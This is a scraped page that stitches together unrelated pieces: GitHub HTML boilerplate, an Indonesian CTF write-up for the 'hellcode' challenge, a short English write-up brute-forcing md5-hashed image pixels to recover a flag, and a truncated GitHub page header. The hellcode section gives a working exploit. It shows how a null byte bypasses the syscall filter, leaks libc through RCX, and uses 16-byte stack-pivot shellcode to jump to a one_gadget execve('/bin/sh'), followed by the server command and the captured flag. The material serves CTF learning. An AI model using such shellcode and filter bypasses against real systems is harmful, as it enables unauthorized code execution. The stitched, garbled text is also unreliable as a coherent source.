viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Shell-JAIL-2</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>ezpz</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div> </div> </turbo-frame> </main> </div> </div> <footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2> <div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div> <nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template> </div> <div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
**Summary** : Build a 16 bytes shellcode to gain shell. Using leaked LIBC address from RCX and ~~jump~~ return to address provided by one_gadget. **Language** : ID ![](https://ctftime.org/static/images/f/id.png) | EN (soon™) ```C#include <stdbool.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h> void code_runner(){ char tmp_code[18]; char *code; bool executing = false; printf("Please enter your code: "); fflush(stdout); fgets(tmp_code, 17, stdin); char *end = strchr(tmp_code, '\n'); if (end == NULL) end = &tmp_code[16]; *end = '\0'; int len = end - tmp_code; /* NO KERNEL FUNCS */ if (strstr(tmp_code, "\xcd\x80") || strstr(tmp_code, "\x0f\x34") || strstr(tmp_code, "\x0f\x05")) { printf("Nice try, but syscalls aren't permitted\n"); return; } /* NO CALLS TO DYNAMIC ADDRESSES */ if (strstr(tmp_code, "\xff")) { printf("Nice try, but dynamic calls aren't permitted\n"); return; } code = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); memcpy(code, tmp_code, len); code[len] = 0xc3; mprotect(code, 4096, PROT_READ|PROT_EXEC); if (executing == true) { printf("ROP chain detected!\n"); munmap(code, 4096); exit(-1); } void (*func)() = (void (*)())code; executing = true; func(); munmap(code, 4096);} int main(int argc, char **argv){ gid_t gid = getegid(); setresgid(gid,gid,gid); printf("Welcome to the Executor\n"); code_runner(); return 0;}```---**Tantangannya**: tidak menggunakan `int 80`, `syscall`, `sysenter`, `dynamic calls`, `rop chain ke code_runner()`. Terlepas dari itu semua, cek bisa _dibypass_ dengan memberikan null byte `\x00` pada awal string input, ini karena libc `strstr` berhenti pada null byte. Sebelum memikirkan hal yang lebih jauh ke shellcode yang dipakai, debug dulu dengan gdb. Break saat shellcode akan dipanggil.```(gdb) disassemble code_runner... 0x0000000000400b30 <+410>: mov rax,QWORD PTR [rbp-0x30] 0x0000000000400b34 <+414>: mov QWORD PTR [rbp-0x28],rax 0x0000000000400b38 <+418>: mov BYTE PTR [rbp-0x3d],0x1 0x0000000000400b3c <+422>: mov rdx,QWORD PTR [rbp-0x28] 0x0000000000400b40 <+426>: mov eax,0x0 0x0000000000400b45 <+431>: call rdx...(gdb) b *0x0000000000400b45(gdb) i rrax 0x0 0rbx 0x0 0rcx 0x7f759e30f777 140143141910391rdx 0x7f759e7fc000 140143147073536rsi 0x1000 4096...(gdb) x/i $rcx 0x7f759e30f777 <mprotect+7>: cmp rax,0xfffffffffffff001```_Boom_, disini ada `RCX` yang bisa dipakai untuk leak address libc. Info `RCX` yang didapat ini bisa digunakan untuk one_gadget dan _drop_ ke shell.Libc bisa diambil dari ssh ke lokal (laptop/desktop), lalu arahkan `one_gadget` ke libcnya.```λ › one_gadget ./libc.so.60x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL```Yep, karena nilai `RAX` saat memanggil shellcode adalah `NULL`, alamat `0x45216` bisa dipakai sebagai gadget. ---Kalkulasi libc base address,```(gdb) info proc mappingsprocess 26539Mapped address spaces: Start Addr End Addr Size Offset objfile 0x400000 0x401000 0x1000 0x0 /problems/hellcode/hellcode 0x601000 0x602000 0x1000 0x1000 /problems/hellcode/hellcode 0x602000 0x603000 0x1000 0x2000 /problems/hellcode/hellcode 0x11d7000 0x11f8000 0x21000 0x0 [heap] 0x7f759e20e000 0x7f759e3ce000 0x1c0000 0x0 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f759e3ce000 0x7f759e5ce000 0x200000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f759e5ce000 0x7f759e5d2000 0x4000 0x1c0000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f759e5d2000 0x7f759e5d4000 0x2000 0x1c4000 /lib/x86_64-linux-gnu/libc-2.23.so 0x7f759e5d4000 0x7f759e5d8000 0x4000 0x0 0x7f759e5d8000 0x7f759e5fe000 0x26000 0x0 /lib/x86_64-linux-gnu/ld-2.23.so 0x7f759e7f0000 0x7f759e7f3000 0x3000 0x0 0x7f759e7fc000 0x7f759e7fd000 0x1000 0x0 0x7f759e7fd000 0x7f759e7fe000 0x1000 0x25000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7f759e7fe000 0x7f759e7ff000 0x1000 0x26000 /lib/x86_64-linux-gnu/ld-2.23.so 0x7f759e7ff000 0x7f759e800000 0x1000 0x0 0x7ffc50dd1000 0x7ffc50df2000 0x21000 0x0 [stack] 0x7ffc50dfa000 0x7ffc50dfd000 0x3000 0x0 [vvar] 0x7ffc50dfd000 0x7ffc50dff000 0x2000 0x0 [vdso] 0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]``` `LIBC` = `0x7f759e20e000` `RCX` = `0x7f759e30f777` `ONE_GADGET_RELATIVE_OFFSET` = `RCX - (LIBC + 0x45216)` `ONE_GADGET_RELATIVE_OFFSET` = `RCX - 0xbc561` --- **Shellcode**, Ada beberapa cara untuk mencapai alamat offset one_gadget, tapi yang digunakan adalah dengan _membuat 'stack pivot' dan menaruh offset one_gadget pada stack tersebut **sehingga** saat instruksi_ `ret` _langsung 'loncat' ke alamat offset one_gadget_.```asmsub rcx, 0xbc561add rsp, 0x48mov qword [rsp], rcxret``` ```λ › rasm2 -b 64 'sub rcx, 0xbc561;add rsp, 0x48;mov qword [rsp], rcx;ret'4881e961c50b004883c44848890c24c3λ › echo -n '4881e961c50b004883c44848890c24c3' | wc -c32```Beruntungnya, shellcode tidak melebihi batas 16 bytes. Coba debug dulu shellcode dengan gdb,```(gdb) x/i $rip=> 0x7f759e7fc00b: mov qword [rsp], rcx...(gdb) x/i $rip=> 0x7f759e7fc00f: ret(gdb) x/gx $rsp0x7ffc50def820: 0x00007f759e253216 # <-- one_gadget offset.(gdb) cContinuing.process 26539 is executing new program: /bin/dash```Yep, berhasil. Langsung test pada server,```team297054@shell:/problems/hellcode$ (python2 -c 'print "4881e961c50b004883c44848890c24c3".decode("hex")'; cat -)|./hellcodeWelcome to the ExecutorPlease enter your code: lsflag hellcodecat flagactf{a_secure_code_invoker_is_oxymoronic}``` --- __FLAG :__ `actf{a_secure_code_invoker_is_oxymoronic}`
Given python scripts takes md5(salt+flag(i)+index)Splits md5 hash 2 by 2 and creates blue pixel with it. Since we know procedure we can reverse it. 4x4 block is 1 letter of flag. Salt is between 1-65536Pepper is known Ascii char is between 32-126 Since numbers is not big we can bruteforce. ```from __future__ import print_functionfrom PIL import Image from hashlib import md5import sysfrom itertools import product im= Image.open("release.png")pix = im.load() hashes= []for k in range(20): hashes.append(''.join([("%02x" % pix[k*32+it[1]*8,it[0]*8][2]) for it in product(range(4),repeat=2)])) print(hashes) for idx,block in enumerate(hashes): for asciiChar in range(32,126): for salt in range (2**16-1,): pepper = str(idx) myhash = md5(str(salt)+chr(asciiChar).encode('utf')+pepper).hexdigest() if str(myhash) == block : print(chr(asciiChar),end="") sys.stdout.flush() break else: continue break ``` Prints :```MCA-27c0384c33a93172```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>ctfs/Blaze2018/shellcodeme_hard at master · vakzz/ctfs · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="A8B0:380B:447215D:45FFC5B:64122685" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2b2bf46469520d368066e42d93115bc54edc6ac272e26cf0860021ddf0424979" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBOEIwOjM4MEI6NDQ3MjE1RDo0NUZGQzVCOjY0MTIyNjg1IiwidmlzaXRvcl9pZCI6IjIxMDU1MDQyMTQxMjYwNDQ4MDUiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="4b0fbe1745eb8f36cda977c87100d971972accaca330d12e95a00b1c3f202d8f" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:121378338" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/9dd940e94dc260f9a684ef6d63ee759f7052eb421ed493aa2b32a4d9771417b2/vakzz/ctfs" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctfs/Blaze2018/shellcodeme_hard at master · vakzz/ctfs" /><meta name="twitter:description" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/9dd940e94dc260f9a684ef6d63ee759f7052eb421ed493aa2b32a4d9771417b2/vakzz/ctfs" /><meta property="og:image:alt" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctfs/Blaze2018/shellcodeme_hard at master · vakzz/ctfs" /><meta property="og:url" content="https://github.com/vakzz/ctfs" /><meta property="og:description" content="Place to hold writeups. Contribute to vakzz/ctfs development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/vakzz/ctfs git https://github.com/vakzz/ctfs.git"> <meta name="octolytics-dimension-user_id" content="26542189" /><meta name="octolytics-dimension-user_login" content="vakzz" /><meta name="octolytics-dimension-repository_id" content="121378338" /><meta name="octolytics-dimension-repository_nwo" content="vakzz/ctfs" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="121378338" /><meta name="octolytics-dimension-repository_network_root_nwo" content="vakzz/ctfs" /> <link rel="canonical" 